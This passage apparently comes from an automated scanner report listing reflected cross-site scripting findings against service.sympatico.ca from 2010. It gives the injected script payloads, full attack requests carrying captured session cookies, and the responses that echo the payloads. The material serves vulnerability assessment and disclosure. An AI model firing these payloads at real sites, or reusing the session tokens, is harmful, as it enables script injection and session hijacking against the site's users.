<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons2a064"><script>alert(1)</script>392f7243457/vi_topNavHomephone.png" />
...[SNIP]...

2.152. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a586"><script>alert(1)</script>81b3a5a0568 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png4a586"><script>alert(1)</script>81b3a5a0568 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:22 GMT
Connection: close
Set-Cookie: SMSESSION=XvDc6mCI5GVh1I0OM399RSTk14KV7D0rZs/tcAJ8K6/O7DAAO/Q1Ylw42p9rlaezLbghar7NrDPSiMObrL7wvmhDRzqOjbpFkEv1lP8xveIoH+Ziiult+kpYXradyBBM01WJU8P3aoh+PV1wnWmDkf64L3+FEgLTttJL4gGjq9qnKt0a9TSUd7mEkjt00hFT/PXx+dhVY2ZxUP+T9L6L2Wk5wHOFZMsT6NH080Y9SgXChBxRYMv//xlCFaTky/pvlbZB6kSTZL1cSoyYtyyKr86CPSTOMNv3Qj5TxcRRNblvZb3w0Cd3FQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png4a586"><script>alert(1)</script>81b3a5a0568" />
...[SNIP]...

2.153. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb5f5"><script>alert(1)</script>d849c449cfe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png?fb5f5"><script>alert(1)</script>d849c449cfe=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:57 GMT
Connection: close
Set-Cookie: SMSESSION=VMZ/3hPd7BGAEyoV/DH4b8yAZm+HRGsFeNWqlMthKXXiTwXm3vh+eJQUlUCpDeSMXC43ZJ9WGFK3NIJSIEU31HX66z4xovPPYT0/2GV1f2Jz96EmqCPIw6bDsnliV0fCY3qrkCbJ8zcnFyMRpeFqpm+hHsOCnBcQPxoCqrco+lZIbkrO/FiWIChklySFCYfqzVsxo777/xsKn9Q7Q4C15EPmy/SIuRuACu8z4nPPL2ealzn5ToNU3lLbo6mrIBFeHgatwQlIeao/GsrnqliIXN6wVcu1JZHTxkBywbtvMJvZRBDNrN7uWg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:58 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png?fb5f5"><script>alert(1)</script>d849c449cfe=1" />
...[SNIP]...

2.154. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b32b"><script>alert(1)</script>4347033c69a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C7b32b"><script>alert(1)</script>4347033c69a/images/icons/vi_topNavInternet.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:22 GMT
Connection: close
Set-Cookie: SMSESSION=mTP/4gqMqk5Kf4plcqd3oG+L2LNKoXd0hdBwrxNlqJ9rTlMC1ZXViwRk7pPsh8vAKT9KYBYUmiyBTwN8cmAHY69fmF1xVANKBZpR4fD6vkwXuQOd5UDOuMwbxbMijqf5MVcdaDU6/3vPiKh88LTk8Cvf+/PA3xNvuvQBqjv3BwnVzvO26yXMVPmk6ppyudPclhD9yzA+z00myjrgJTAXsV0Xu9JNw9j+k+O0sj3emJkg66j4wUP0Xr4kRvm3HX+mR5L1TkTXhOrLydCWJYc9RnLgzWaN2/TedSO42zW+a2x/WsvuBnr0Hw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26g